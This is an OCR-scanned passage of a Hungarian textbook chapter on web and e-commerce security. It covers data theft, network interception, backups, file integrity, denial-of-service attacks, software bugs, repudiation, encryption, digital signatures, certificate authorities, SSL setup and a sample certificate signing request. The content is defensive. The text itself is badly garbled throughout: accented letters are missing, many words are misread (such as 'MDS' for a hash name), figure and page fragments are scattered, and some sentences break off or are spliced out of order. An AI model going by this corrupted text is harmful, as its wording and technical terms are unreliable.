informcikar lopjanak tle. Egy magt Maxusnak nevez szemly 1999-ben kapcsolatba lpett a CD Universe-zel azt lltva,hogy 300 OOO hitelkrtya adatt lopra el a cg weboldalrL 100 OOO dollrt kvetelt az adatok megsemmisrsrr. A cg visszautastotta az ajnlatot,s hamarosan a legnpszerbb jsgok cmlapjn rallca magr, mivel Maxus szroszrorta a krtyaszmokar,hogy msok visszaljenek vele. Az adatok akkor is kockzatnak vannak kitve,amikor hlzaron haladnak keresztl. Br a TCP /IP hlzatok szmralan remek tulajdonsggal brnak,amelyeknek ksznheren lnyegben a klnbz hlzatok internetknt val sszekapcsoll Ha jelenleg hasznljuk az rep-e, akkor is rdemes elrvolrani s az scp-r {biztonsgos msols) hasznlni helyette.
233
snak szabvnyv vltak, a biztonsg- sajnos- nem tartozik ezek kz. A TCP /IP gy mkdik, hogy csomagokra bonga fel az adatokat, majd gprl gpre tovbbtja ezeket a csomagokat, amg mind el nem rik a clllomsukat. Ez azt jelenti, hogy adataink tjuk sorn tbb gpen is keresztlhaladnak, ahogy ezt a 15.1 bra is mucatja. Kzlk brmelyik gp.megcekintheti" a rajta keresztlhalad adatainkat.
------------------,
Forrs
Ih
l l
L-------------------
1 l
Cl
Az internet
15.1 bra:
Az informci interneten keresztli tovbbtsa potencilisan megbzhatatlan gpek sokasgn keresztl kldi az adatokat.
traceroute
Ha ltni szeretnnk, hogy milyen tvonalon jut el tlnk az adat egy adott gpre, a
nunk (Unix gpen). A parancs eredmnyekppen megkapjuk azon gpek cmt, amelyeken az adat keresztlmegy, amg elr a clhoz. Ha ez sajt orszgunkon bell van, akkor az adat tlagosan gy tz klnbz gpen megy keresztl. Ha a cl egy klfldi gp, az tkzben rintettek szma a hszar is meghaladhaga. Amennyiben szervezetnk nagy s sszetett hlzattal rendelkezik, az adat akr t gpet is rinthet, mieltt elhagyn az pletet. A bizalmas informcikat vdend titkosthatjuk azokat, mieltt a hlzaton elindulnak. Ekkor az tvonal vgn vissza kell fejteni a titkostott llomnyokat. A webszerverek erre gyakran a Netscape ltal kifejlesztett Secure Sockets Layer (SSL) protokollt hasznljk, ha az adatok kztk s bngszk kztt utaznak. Viszonylag alacsony kltsg, kevs erfesztssel jr mdja ez az adattvitel biztonsgoss ttelnek, m mivel kiszolglnknak egyszer adatklds s -fogads helyett titkostania s visszafejtenie is szksges az adatokat, a szerver ltal msodpercenknt kiszolglhat ltogatk szmt jelents mrtkben cskkenti.
l"
15
egyszer betrnek a rendszernkbe, s formzzk merevlemeznket. Az is igen valszn, hogy egyszer vletlenl kitrl valamit, de az majdnem biztos, hogy egyszer tnk
remegy egy merevlemeznk. A merevlemezek percenknt tbb ezer fordulatot tesznek meg, s olykor elromlanak. Murphy trvnye pedig kimon<lja, hogy minden bizonnyal a legfontosabb merevlemez lesz az, amirl j rgen nem ksztettnk biz tonsgi mentst. Szmtalan klnbz intzkedssei cskkenthegk az adatveszts eslyt. Vdjk kiszolglinkat a crackerek ellen! A lehe
t legnagyobb mrtkben korltozzuk a szmtgpeinkhez hozzfr alkalmazottak szmt! Csak hozzrt, gondos szakem
berekkel dolgozzunk! Vsroljunk j minsg merevlemezeket! Hasznljuk a RAID ( Redundant Array of Inexpensive Disks -olcs lemezek redundns tmbje) technolgit, ami lehetv teszi, hogy tbb merevlemez mkdjk egyeden gyorsabb, megbzhatbb merevlemezknt! Mindegy, hogy mi az adatveszts oka, egyeden igazi vdelem ltezik ellene: a biztonsgi ments. A biztonsgi mentsek ksztse nem rtudomny. ppen ellenkezleg: unalmas, fraszt s- remnyeink szerint - haszontalan foglalatossg, ami ugyanakkor letbevgan fontos. Gondoskodjunk arrl, hogy adatainkrl rendszeres biztonsgi mentsek kszljenek, s ne felejtsk el letesztelni a biztonsgi ments ksztsnek folyamatt, hogy az gy kapott adatok helyrelltsa biztostott legyen! gyeljnk, hogy a biztonsgi mentseket a szmitgpeinktl tvol troljuk! Br elg kicsi az eslye, hogy irodnk leg, vagy valarnilyen termszeti katasztrfa nyomn teljesen tnkremegy, a biztonsgi mentsek fizikailag ms helyen trolsa semmibe nem kerl vintzkeds.
234
15. fejezet
Adatmdosts
Mr az adatveszts is hatalmas krokat okozhat, adataink mdostsa azonban mg ennl is rosszabb lehet. Kpzeljk el, hogy valaki hozzfrst szerzett rendszernkhz,s mdostotta fjljainkarl Egy teljes kr trlst minden bizonnyal szrevesznk, s a biztonsgi mentsbl helyrelltharjuk a trlt llomnyokat, de vajon meddig tart, amg a mdostsokat szrevesszk? Ilyen mdostsok az adatfjlokat s a futtathat fjlokat egyarnt rinthetik. A crackerek olyan cllal mdosthatnak adat fjlt, hogy megvltoztassk oldalunk megjelenst, vagy csalssal elnyhz juttassk sajt magukat. A futtathat fjlok sznd kosan megronglt vltozatokra cserlsvel az egyszer mr hozzfrst szerz cracker titkos hts ajthoz (backdoor) juthat, vagy magasabb szint rendszerjogosultsgokat oszthat ki sajt magnak. A hlzaton thalad adatokat ellenrz sszeg (signature) hasznlatval vdhetjk a mdostsoktl. Ez a megkzelts nem akadlyozza ugyan meg, hogy valaki mdostsa az adatot, de ha a fogad fl a fjl megrkezsekor ellenrzi, hogy az alrs mg mindig stimmel-e, meg tudja llaptani, ha a fjlt mdostottk. Ha adatainkat titkostssal vdjk a jogosulatlan megte kintstl, az alrs hasznlatval igencsak megneheztjk azt, hogy valaki tkzben szrevtlenl mdosthassa azokat. A kiszolgln trolt fjlok mdostsok elleni vdelmhez opercis rendszernk fjljogosultsgait kell hasznlni,illetve vdennk kell rendszernket a jogosulatlan hozzfrstL A fjljogosultsgok lehetv teszik,hogy felhasznlink hasznl hassk a rendszert, de ne kapjanak szabad kezet a rendszerf:ijlok vagy ms felhasznlk llomnyainak megvltoztatshoz. A megfelel jogosultsgi rendszer hinya az egyik oka annak, hogy a Windows 95, 98 s ME soha nem voltak igazn alkalma sak kiszolgl opercis rendszernek. A mdostsokat gyakran igen nehz szrevenni. Ha brmikor rjvnk,hogy rendszernk biztonsga srlt, honnan fogjuk tudni,hogy a fontos fjlokat megvltoztattk-e? Vannak olyan fjlok- pldul az adatbzisunkat trol adatllomnyok -,ame lyek rendeltetsszer hasznlat esetn is idrl-idre vltoznak. Ms f:ijloknak pedig a telepts utn rnindaddig vltozatlannak kell maradniuk,amg szndkosan nem frisstjk ket. A prograrnak s az adatok mdostsa is alattomos dolog tud lenni,de mg a programokat a mdosts gyanja esetn jratelepthetjk,abban nem lehetnk biztosak, hogy az adatok melyik verzija"tiszt: A fjlok integritst ellenrz szoftverek, mint amilyen pldul a Tripwire is, feljegyzik a fontos fjlok tudottan biztonsgos - pldul kzvetlenl a telepts utni- llapotnak informciit, gy ezeket ksbb felhasznlhatjuk annak megllaptsra, hogy vltozatlanok maradrak-e ezek az llomnyok. A program fizets s bizonyos felttelek mellett ingyenes verziit a http:/ l www.tripwire.com oldalrl tlthetjk le.
tmads. Szolgltarsmegtagads akkor kvetkezik be, ha valaki a cselekedeteivel megnehezti vagy lehetetlenn teszi a felhasz nlk szmra, hogy hozzfrjenek egy szolgltatshoz, vagy kslelteti idkritikus szolgltatshoz val hozzfrsket.
15
oldalak ellen. A clpontok kz tartozott a Yahoo!, az eBay, az Amazon, az E-Trade s a Buy.com. Ezek az oldalak olyan ltoga tottsgi szintekhez vannak hozzszokva, amilyenekrl mi nem is igen lmodhatu nk, de DoS-rmadssal mg ezeket is rkra elrhetetlenn lehet tenni. Br a eraeketeknek anyagi elnyk ltalban nem szrmazik egy weboldal tlterhelsbl, az oldal zemeltetje jelents veszresggel szembeslhet gy anyagiakban, mint a hrnevt illeten. Lteznek olyan oldalak, amelyek jl meghatrozhat idszakban bonyoltjk forgalmuk jelents rszt. Az online fogad oldalak irnti rdeklds jelentsen megugrik kzvetlenl a nagy sportesemnyek eltt. Az egyik alkalom, amikor a crackerek megprblrak D DoS-tmadsbl pnzt csinlni, 2004-ben volt: online fogadirodkat zsaroltak meg azzal, hogy a legforgal masabb idszakban fogjk tmadni ket. Az ilyen tmadsok elleni vdelem nehzsgt egyrszt az okozza, hogy szmtalan klnbz mdon kivitelezhetk. A szba jhet mdszerek kz tartozik olyan program teleptse a clgpre, amely a rendszer processzoridejnek nagy rszt a clpont szerepel feladkn t. Az rtatlan clpont gy dhdt levlrk ezreinek kldemnyvel lesz knytelen megbirkzni. Automatizlt eszkzk is lteznek megosztott DoS-tmadsok indtsra. Klnsebb tuds nlkl is brki megteheti, hogy ismert sebezhetsgek utn kutatva rengeteg gpet megvizsgl, betr egy nem megfelelen vdett gpbe,majd telepti az eszkzt. Automatizlt folyamatrl lvn sz, a tmad akr gpenknt t msodperc alatt teleptheti az eszkzt. Elegend sz m gp beszervezse utn mindegyiket utastja, hogy hlzati forgalommal rasszk el a clt. A DoS-tmadsok elleni vdekezs nem egyszer dolog. Kis kutatmunkval kiderthetjk, hogy mely alaprtelmezett portokat hasznljk a gyakori D DoS-eszkzk, s zrjuk be ezeket! Routernk kpes lehet az adott protokollokat (pldul ICMP) hasznl forgalom szzalkos mrtknek korltozsra. Knnyebb hlzatunkon bell olyan gpeket szrevenni, amelyeket msik gpek tmadsra hasznlnak, mint megvdeni szmtgpeinket a tmads ellen. Ha rninden hlzati rend szergazda megbzhat mdon felgyeln sajt hlzatt,a D DoS egyltaln nem jelentene problmt. lefoglalja, a reverse spam s az automatizlt eszkzk hasznlata. A reverse spam olyan levlszemt kikldsr jelenti, amelyben
235
A szmtalan lehetsges tmadsi mdszer miatt az egyetlen igazn hatkony vdelem a szoksos forgalomviselkeds figye lse s olyan szakrti csapat fenntartsa, amely az abnormlis szirucik bekvetkezse esetn azonnal megteheti a szksges inrzkedseket.
Szoftverhibk
A szaftverekben - akr vsroltuk, szereztk vagy mi magunk rtuk - komoly hibk lehetnek. A webes projektekre jellemz rvid fejlesztsi id jelentsen megnveli az ilyen hibk eslyt. A hibs szoftverek a szmtgpes folyamatokra nagy mrtk ben tmaszkod vllalkozsokat sebezhetv teszik. A szaftverekben rejl hibk olyan, elre nem lthat helyzetekhez vezethetnek, mint a szolgltats elrhetetlensge, bizton sgi incidensek, pnzgyi vesztesg vagy alacsony sznvonal gyflkiszolgls. A leggyakoribb hibaokok kz a pontatlan specifikcik, a fejlesztk hibs feltevsei s a nem megfelel tesztels tartozik.
Pontatlan specifikcik
Minl felletesebb s minl flrerthetbb a tervdokumentci, annl valsznbb, hogy hibkat fogunk tallni a vgtermk ben. Akrmennyire feleslegesnek is tnik kiktni azt, hogy az gyfl hitelkrtyjnak elutastsa esetn a megrendelst nem szabad kikldeni, egy nagy kltsgvetssei mkd oldalnl elkvettk ezt a hibt. Minl kevesebb tapasztalattal rendelkeznek a fejlesztk az ltalunk ltrehozni kvnt rendszertpusban, annl pontosabb specifikcikat kell adnunk.
Fejlesztk hibsJeltevsei
A rendszer tervezinek s fejlesztinek szmos feltevssel kell lnik. Termszetesen abban remnykednk, hogy megfelelen dokumentljk ezeket, s az esetek tbbsgben igazuk lesz. Elfordul azonban olyan is, hogy az emberek hibs felttelezseket tesznek. Pldul felttelezik, hogy a beviteli adatok rvnyesek lesznek, nem tartalmaznak klnleges karaktereket, vagy adott mrernl kisebbek lesznek. Idztssei kapcsolatos feltevsek is lehetsgesek, pldul, hogy kt egymssal tkz mvelet egyide jsgnek a valsznsge csekly, vagy az, hogy egy sszetett feladat feldolgozsa mindig tovbb tart, mint egy egyszer feladat. Az ilyen felttelezsek azrt csszhatnak t, mert az esetek tbbsgben igazak. Egy cracker azonban kihasznlhatja azokat a puffertlcsordulsokat, amelyek azrt kveteznek be, mert a programoz hibsan felttelezte a beviteli adat maximlis hosz szc. Vagy egy szablyosan eljr felhasznl azrt kaphat hibazenetet, s azrt hagyja ott az oldalunkat, mert a fejlesztk nem gondoltak arra, hogy szemlynvben lehet aposztrf. Az ilyen jelleg hibkat megfelel tesztelssei s a kd kellen rszleres tvizsglsval megtallhatjuk s kijavthatj uk. A crackerek ltal a korbbi idszakokban kihasznlt opercisrendszer- vagy alkalmazsszint gyengesgek ltalban a puffertlcsordulssal vagy a verseny diktlta tl gyors fejlesztsekkel lltak sszefggsben.
15
Letagads
Az utols kockzati lehetsg, amivel foglalkozunk, a letagads (repudiation). Akkor kvetkezik be, ha a tranzakciban szerep l egyik fl letaga<lja rszvtelt. Az e-kereskedelem terletrl olyan idevg pldkat emlthetnk, mint amikor valaki rendel valamic egy weboldalrl, majd letagadja, hogy felhatalmazst adott hitelkrtyja megterhelsre. Vagy, amikor valaki e-mailben beleegyezik valamibe, majd azt lltja, hogy valaki ms hamistotta azt a levelet.
236
15. fejezet
Idelis esetben a pnzgyi tranzakcik a leragadharatlansg biztonsgt knljk nndkr flnek. Egyikk sem rudja leragad ni rszvtelt a tranzakciban, pontosabban nndkt fl hitelt rdemlen bizonytani ruclja harmadik szemly, pldul brsg eltt a msik fl tettt. A gyakorlatban azonban ritkn ez a helyzet. A felhasznli hitelests valamilyen mrtk bizonyossgat ad a msik flrL A megbizhat szervezet ltal kiadott digitlis tanstvnyok tovbb fokozhatjk a bizalmat. A felek ltal kldtt zeneteknek manipulcibiztosnak kell lennik. Nem sok hasznt vehetjk annak, ha bizonytani tudjuk, hogy a Kukuryin Bt. zenetet kldtt neknk, de arra nincsen bizonytkunk, hogy amit megkaptunk, az pontosan megegyezik azzal, amit a cg elkldtt. Mint mr emltettk, az zenetek alrsa vagy titkostsa megnehezti az szrevtlen mdostsukat. Folyamatos kapcsolarban lv zletfelek kztti tranzakcik esetn a digirlis tanstvnyok s a titkostott vagy alrt kom munikci hatkony mdja a letagadhatsg korltozsnak. Egyszeri tranzakciknl, pldul egy e-kereskedelmi oldal s egy hitelkrtyval fizet, j vsrl kztti els kapcsolatfelvtel esetn azonban ezek nem annyira praktikusak. Egy e-kereskedelemmel foglalkoz vllalat minden bizonnyal hajland azonossgnak bizonytsra, s nnden gond nlkl kifizet nhny szz dollrt egy olyan tanstvnykibocstnak, mint a VeriSign (http://www.verisign.com/) vagy a Thawte (http://www.thawte.com/), hogy megerstse a ltogatkban a cg j hirnevt. Ugyanennek a vllalatnak akkor el kellene utastania minden olyan gyfelet, aki nem hajland ugyanezzel a mdszerrel bizonytani azonossgt? Kis rtk tranzakcik esetben a kereskedk inkbb hajlandak elviselni a csals vagy letagads bizonyos szint kockzatt, minthogy elvesztsenek egy zleti lehetsget.
15
kapcsolaml nagyobb processzorteljestmnyt ignyel. Ezeket a teljestmnybeli vesztesgeket gyorsabb gpek vagy kifejezetten titkosts cljra kialaktott hardver beszerzsvel ellenslyozhatjuk. Ez termszetesen nveli kltsgeinket. A teljestmnye, hasznlhatsgot, kltsget s biztonsgot tekinthetjk egymssal versenyz cloknak. Tanulmnyozni kell a kztk fennll tvltsokat, s megfelel dntseket hozva kell kompronsszumra jutni. A vdeni kvnt informcikrl, pnztrcnktl, a kiszolglni tervezett ltogatk szmtl s a szablyosan eljr felhasznlk ltal mg elviselhetnek tlr biztonsgi intzkedsek mrtktl fggen kell megtallni a fenti clok kztti egyenslyi llapotot.
237
15
Entn-usemameoddfor"Dft'Aiu" UsetN1me
ll
PMSWOrd:
L-ewJ
15.2 bra: A bngszk Jelhasznli nevet s jelszt krnek a kiszolgl vdett knyvtrt Jelkeresni kvnJelhasznlktl.
238
15. fejezer
Az Apache webszerver s a Microsoft IlS is lehetv teszi, hogy honlapunk egszt vagy rszeit igen egyszeren megvdjk ezzel a mdszerrel. PHP vagy MySQL hasznlatval is elrhetjk ugyanezt az eredmnyr. A MySQL hasznlata gyorsabb, mint a beptett hitelests. PHP segtsgvel rugalmasabb ellenrzst mkdtethetnk, vagy a felhasznl szempontjbl tetszetsebb mdon llharunk el az ellenrzsre vonatkoz krssel. Vonatkoz pldkkal a
A titkosts alapjai
A titkostsi algoritmus (encryprion algorithm) matematikai eljrs az informci ltszlag vletlenszer karaktersorr alakt sra. A kiindul adarot szoks egyszer szvegnek (plain text) nevezni, br a folyamar szempontjbl nincsen jelentsge an nak, hogy mit tartalmaz az informci - tnylegesen szveget vagy ms adatot. A titkostott informcit titkostott szvegnek (ciphertext) nevezzk, noha legkevsb szakott szvegnek ltszani. A 15.3 brn a titkosts egyszer folyamatbrjt lthat juk. Az egyszer szveget beadjuk egy titkosr motornak, amely rgebben mechanikus eszkz volt, mint pldul a Il. vilgh borban hasznlt Enigma, ma azonban szinte kivtel nlkl szmtgpes program. A moror titkosrott szveget llt el.
Titkost algoritmus
15.3 bra: A
titkosts fogja az egyszer szveget, s ltszlag vletlenszer karaktersorbl ll, titkostott szvegg alaka.
A 15.2 brn lthat ellenrzsi prbeszdablakot hasznl vdett knyvtr ltrehozshoz az Apache legegyszerbb el lenrzsi mdszert hasznltuk. (Mkdst a kvetkez fejezetben mutatjuk be.) Ez trolsuk eltt titkosrja a jelszavakat. Ltrehoztunk egy felhasznlt, aknek jelszava j els z o; az Apache titkosrotta, majd aWDuA3X3H. me 2-knt eleroita ezt. Lthat, hogy az egyszer s a titkostott szveg kztt semmi szemmel lthat hasonlsg nincsen. Ez a titkostsi mdszer nem visszafordthat. Rengeteg jelszt trolnak egyirny titkostsi algoritmussal. A felhasznl ltal bevitt jelsz ellenrzshez nem szksges visszafejteni az eltrolt jelszt. Ehelyett kisrletnl megadott jelszt, s sszehasonltja az eredeti titkostott vltozatval. Nem az sszes, de sok ritkosrsi folyamat visszafordthat. A fordrott folyamatot A 15.4 brn a ktirny titkostsi folyamarot lthatjuk.
a
15
15.4 bra: A
titkosts fogja az egyszer szveget, s ltszlag vletlenszer karaktersorbl ll, titkostott szvegg alaka. A visszafejts a titkostott szvegbl indul ki, azt alaka vissza egyszer szvegg.
A ritkosrs (kriptogrfia) majdnem 4000 ves, de nagykorsgt csak a Il. vilghbor idejn rte el. Azta a szmtgpes hlzatok elterjedshez hasonl utat jrt be: elszr a katonasgnl s a pnzgyi szervezeteknl, majd az 1970-es vektl kezdve egyre szlesebb krben alkalmaztk. gy a kilencvenes vekben mr szinte minden terleten megtallhat volt. Rgeb ben az tlagember csak II. vilghbors filmekben s kmregnyekben tallkozott titkosrssal, m az elmlt vekben mr az jsgcikkekben is olvashattunk rla, s nap mint nap hasznlja mindenki, ak az interneten vsrol. Szmtalan klnbz titkostsi algoritmus ltezik. Van olyan, pldul a DES, amelyik titkos (privt) kulcsot hasznl; m sok, pldul az RSA, nyilvnos kulcs s kln privt kulcs segtsgvel mkdnek.
239
Megjegyzs: Furcsnak tnhet, de a Triple DES ktszer olyan biztonsgos, mint a DES. Ha hromszor ersebb-vdelemre
lenne szksgnk, programot kellene rnunk r, vagy tszrs DES-algoritmust kellene megvalstanunk. A titkos kulcs titkosts egyik nyilvnval problmja, hogy biztonsgos zenet kldshez biztonsgos mdszerre van
szksg. hogy a titkos kulcsot is elkldhessk. Ha ltezik biztonsgos mdszer a kulcs elkldsre, mirt nem kldjk gy az zenetet is? Szerencsre1976-ban, amikor Diflie s Hellman elllt az els nyilvnos kulcs rendszerrel, ttrs kvetkezett be ezen a tren.
nos kulccsal titkostjuk az zeneteket, a privt kulccsal pedig visszafejtjk azokat. A rendszer elnye, hogy a nyilvnos kulcs, ahogy neve is utal r, nyilvnosan megoszthat. Brk, akinek megadjuk nyilvnos kulcsunkat, kpes lesz neknk biztonsgos zenet kldeni. Amennyiben csak mi rendelkeznk a privt kulccsal, senk ms nem lesz kpes visszafejteni az zenetet. A legelterjedtebb nyilvnos kulcs algoritmus az MIT-n dolgoz Rivest, Shamir s Adelman ltal1978-ben kifejlesztett RSA. Az RSA szabadalommal vdett rendszer volt, a szabadalom azonban 2000 szeptemberben lejrt.
15
15.5 bra: A nyilvnos kulcs titkosts kln-kln kulcsot hasznl a titkostsra s a visszafejtsre.
Az, hogy a nyilvnos kulcsot szabadon elkldherjk, s nem kell aggdni, hogy harmadik szemly megszerzi, komoly elnyt jelent. Ennek ellenre a titkos kulcs rendszereket tovbbra is szles krben alkalmazzk. Gyakran vegyes rendszert mkd temek: nyilvnos kulcs rendszerrel kldik a kulcsot a titkos kulcs rendszerhez, amellyel a kommunikci tovbbi rszt bonyoltjk. A bonyolultabb felllst ellenslyozza, hogy a titkos kulcs rendszerek mintegy ezerszer gyorsabbak a nyilvnos kulcsaknl.
Digitlis alrsok
A digitlis alrsok a nyilvnos kulcs kriptogrfia tmakrhez kapcsoldnak, m a nyilvnos s privt kulcsokhoz kpest forditott szerepet tltenek be. A kld titkos kulcsval titkosrja s digitlisan alrja zenett. Az zenet megrkezsekor
a
fogad a kld nyilvnos kulcsval tudja visszafejteni azt. Mivel a kld az egyetlen szemly, aki hozzfr a titkos kulcshoz,
a fogad viszonylagos bizonyossggal meg tudja llaptani, kitl jtt az zenet, illetve hogy nem mdostottk-e.
240
15. fezer
A digirlis alrsok rendkivl hasznosak rudnak lenni. A fogad bizonyossger kaphat, hogy az zeneret nem hamisrotrk meg, az alrsok pedig megneheztik a kld szmra az zenetklds leragadst. Fontos megjegyezni, hogy br az zenet titkosrva van, a nyilvnos kulcs birtokban brki ltal olvashat. Noha ugyanazokar a mdszereker s kulcsokar hasznlja, a titkosts clja itt a hamists s klds letagadhatsgnak megakadlyozsa, nem pedig a beleolvass megelzse. Mivel a nyilvnos kulcs titkosts nagy zenerek esetben viszonylag lass, ltalban egy msik tpus algoritmust, gyne vezett hash fggvnyt hasznlnak a hatkonysg nvelsre. A hash fggvny (magyarul hast fggvnynek is szoks nevezni) a neki radott brmely zenethez kiszmrja az ahhoz tartoz zenerkivonatot (message digest) vagy hash rtket. Nem az algoritmus ltal kiszmtott rtk a fontos, hanem az, hogy a kimenet egyrtelm hozzrendels eredmnye, vagyis egy adott bemenet (zenet) rnindig ugyanazt a kimenetet eredmnyezi: a kimenet kicsi, az algoritmus pedig gyors. A leggyakrabban hasznlt hash fggvny az MDS s az SHA. A hash fggvny az adott zenetnek megfelel zenerkivonatot llt el. Az zenet s az zenetkivonat birtokban meggy zdhetnk arrl, hogy az zenetet nem hamistottk-e meg - feltve, hogy biztosak lehetnk abban, hogy a kivonat nincsen manipullva. Ezrt a digitlis alrs ltrehozsnak szoksos m<lja, hogy a gyors hash fggvnnyel elksztjk a teljes zenet zenetkivonatt, majd csak ezt a rvid kivonatot titkostjuk a nyilvnos kulcs - s ppen ezrt lass - titkostsi algoritmus sal. Az alrs most mr az zenettel egytt, hagyomnyos, nem biztonsgos mdon is kldhet. Alrt zenet rkezsekor ellenrizhetjk azt. Az alrst a kld nyilvnos kulcsval fejtjk vissza. Ezt kveten a kld ltal hasznlt mdszerrel hash rtket hozunk ltre az zenethez. Ha a visszafejtett hash rtk megegyezik az ltalunk elll tottal, a kld zenett senki sem mdostotta.
Digitlis tanstvnyok
Praktikus, ha meg rudunk bizonyosadni arrl, hogy a kapott zenetet nem manipullrk, vagy egy zenetsorozat adott fel hasznlrl vagy gptl rkezett. zleti kapcsolatok esetn ennl is hasznosabb, ha ltez ( jogi) szemlyhez, azaz termszetes szemlyhez vagy cghez rudjuk ktni azt a felhasznlt vagy kiszolglt. A digitlis tansrvny alrt, digitlis formban kombinl egy nyilvnos kulcsot s az adott szemly vagy szervezet adatait. A tansrvny birtokban rendelkeznk a msik fl nyilvnos kulcsval arra az esetre, ha titkostott zenetet akarunk kldeni, s ismerjk a msik fl adatait, amelyekrl tu<ljuk, hogy nem lettek megvltozrarva. A gond legfeljebb annyi, hogy az informci csak annyira megbzhat, mint az, aki alrta. Brki ltrehozhat s alrhat olyan tanstvnyt, amely azt lltja, hogy ez s ez. zleti tranzakcik esetn arra van szksg, hogy megbzhat harmadik szemly ellenrizze a rsztvevk azonossgt s a tanstvnyaikban rgztett adatokat. Az ilyen harmadik szemlyeket tanst szervezeteknek (certifying authoriry- CA) nevezzk. Ezek azonossguk ellenrzse
15
utn digitlis tansrvnyokat adnak ki magnszemlyeknek s cgeknek. A kt legismertebb CA a VeriSign (http:/ /www. verisign.com/) s a Thawte (http://www.thawte.com/), de sok ms ilyen szervezet is mkdik. A Thawte a VeriSign tulaj donban van, s kevs gyakorlati klnbsg van a kett kztt. Egyes ms szervezetek, pldul a Nerwork Solutiens (http:/ l www.nerworksolutions.com) s a GoDaddy (http://www.godaddy.com/), jelentsen olcsbbak. A szervezerek tanstvnyt adnak ki arrl, hogy ellenriztk az adott szemly vagy cg (szemly)azonossgt. Fontos tisztz ni, hogy a tansrvny nem a megbzhatsgrl vagy hitelkpessgrl szl. A tanstvny nem garancia arra, hogy zletfelnk tisztessges, megbzhat partner. Pusztn arrl van sz, hogy ha becsapnak bennnket, akkor viszonylag j esllyel birtokunk ban van egy vals fizikai cm s valaki, aki ellen jogi ton fellphetnk. A tanstvnyok bizalmi hlzator hoznak ltre. Amennyiben rni megbzunk a tanst szervezetben, akkor megbzharunk azokban is, akikben ez a szervezet megbzott, s ugyangy megbzharunk azokban is, akikben a tanstvnnyal rendelkez fl is megbzott. A digitlis tanstvnyok leggyakoribb hasznlati clja, hogy a tisztessg s megbzhatsg rzett keltsk az e-kereskedelmi oldalak ltogatiban. Jl ismert CA ltal kiadott tansrvny birtokban a bngszk figyelmeztet ablak megjelentse nlkl rudnak SSL-kapcsolatot teremteni oldalunkhoz. Az SSL-kapcsolator lehetv tev webszervereket biztonsgos webszervereknek nevezik.
Biztonsgos webszerverek
A bngszkkel folytatott, Secure Sockets Layer protokollon keresztli, biztonsgos kommunikcihoz hasznlharunk Apache webszervert, Microsoft liS-t vagy brmilyen ms ingyenes vagy fizets webszervert. Az Apache lehetv teszi Unix szer opercis rendszer hasznlatr, ami szinte minden esetben megbzhatbb, m kiss bonyolulrabban bellthat, mint az IlS. Termszetesen vlaszthatjuk azt is, hogy Windows platforrnon hasznljuk az Apache-t.
241
Az SSL IIS-en trtn hasznlathoz telepteni kell az IlS-t, ltre kell hozni egy kulcsprt, majd telepteni kell tanstv nyunkat. Apache esetben az OpenSSL csomagot is telepteni kell, s a szerverszoftver teleptsekor a mod ssl modult is be kell kapcsolni. Clunkat gy is elrhetjk, ha az Apache fizets vltozatt vsroljuk meg. A Red Hat veken keresztl forgalmazott egy ilyen, Stronghold nev termket, amely ma mr a Red Hat Enterprise Linux termkekkel egy csomagban kaphat. Ilyen meg olds beszerzse esetn a Linux megbzhatsgt s egy knnyen telepthet termket kapunk a forgalmaz mszaki tmoga tsval kiegsztve. A kt legnpszerbb webszerver, az Apache s az IIS teleptsi utastsait A PHP s
a
talljuk. Az SSL hasznlatt sajt digitlis tanstvnyunk ltrehozsa utn akr azonnal megkezdhetjk, m ebben az esetben
a bngszk figyelmeztetni fogjk oldalunk ltogatit, hogy tanstvnyunkat mi magunk rtuk al. Az SSL rdemi hasznla thoz tanst szervezet ltal kiadott tanstvnyra lesz szksgnk. A tanstvny megszerzsnek pontos folyamata tanst szervezetenknt eltr, de ltalnossgban elmondhat, hogy bizonytani kell a szervezet fel, hogy fizikai cmmel rendelkez, jogszeren mkd vllalkozs vagyunk, s a szban forg domainnv a mi tulajdonunkban van. Tanstvny-alrsi krelmet (CSR) is el kell lltanunk. Ennek folyamata kiszolglnknt eltr. Az erre vonatkoz utas tsokat a tanst szervezet honlapjn tallj uk. A Stronghold s az IlS prbeszdablakok segitsgvel vezet vgig a folyamaton, Apache esetben azonban neknk kell berni a parancsokat. A folyamat lnyege azonban minden kiszolgl esetn ugyanaz.
A vgeredmny egy titkostott CSR, amely a kvetkezhz hasonlan kell, hogy kinzzen:
---BEGIN NEW CERTIFICATE REQUEST-- MIIBuwiBAAKBgQCLnlXX8faMHhtzStp9wY6BVTPuEU9bpMmhrb6vgaNZy4dTe6VS 84p7wGepq5CQjfOL4Hjda+g12xzto8uxBkCD098Xg9q86CY45HZk+q6GyGOLZSOD 8cQHwhloUP65s5Tz0180FB zpi3bHxf06aYelWYziDiFKp1BrUdua+pK4SQIVAPLH SV9FSz8Z7IHOg1Zr5H82oQOlAoGAWSPWyfVXPAF8h2GDb+cf97k44VkHZ+Rxpe8G ghlfBn9L3ESWUZNOJMfDLlny7dStYU98VTVNekidYuaBsvyEkFrny7NCUmiuaSnX 4UjtFDkNhX9j5YbCRGLmsc865AT54KRu3102/dKHLo6NgFPirijHy99HJ4LRY9Z9 HkXVzswCgYBwBFH2QfK88C6JKW3ah+6cHQ4Deoiltxi627WN5HcQLwkPGn+WtYSZ jG5tw4tqqogmJ+IP2F/5G6FI2DQP7QDvKNeAU8jXcuijuWo27S2sbhQtXgZRTZvO jGn89BC0miHgHQMki7vz35mx1Skk3VNq3ehwhGCvJlvoeiv2J8X2IQIVAOTRp7zp En7QlXnXwls7xXbbuKPO ---END NEW CERTIFICATE REQUEST---
A CSR, a fizetend djak s a szemlyazonossgunk igazolshoz szksges dokumenmmok, illetve a domainnv hasznla tra val jogosultsgunkat igazol dokumenmmok birtokban kszen llunk arra, hogy valamely tanst szervezetnl tanst vnyrt folyamodjunk. Miutn a szervezet kiadta tanstvnyunkat, el kell trolni rendszernkn, s kzlni kell a webszerverrel, hogy hol tallja. A vgleges tanstvny az itt lthat CSR-hez nagyon hasonl szvegfjl.
15
Auditls s naplzs
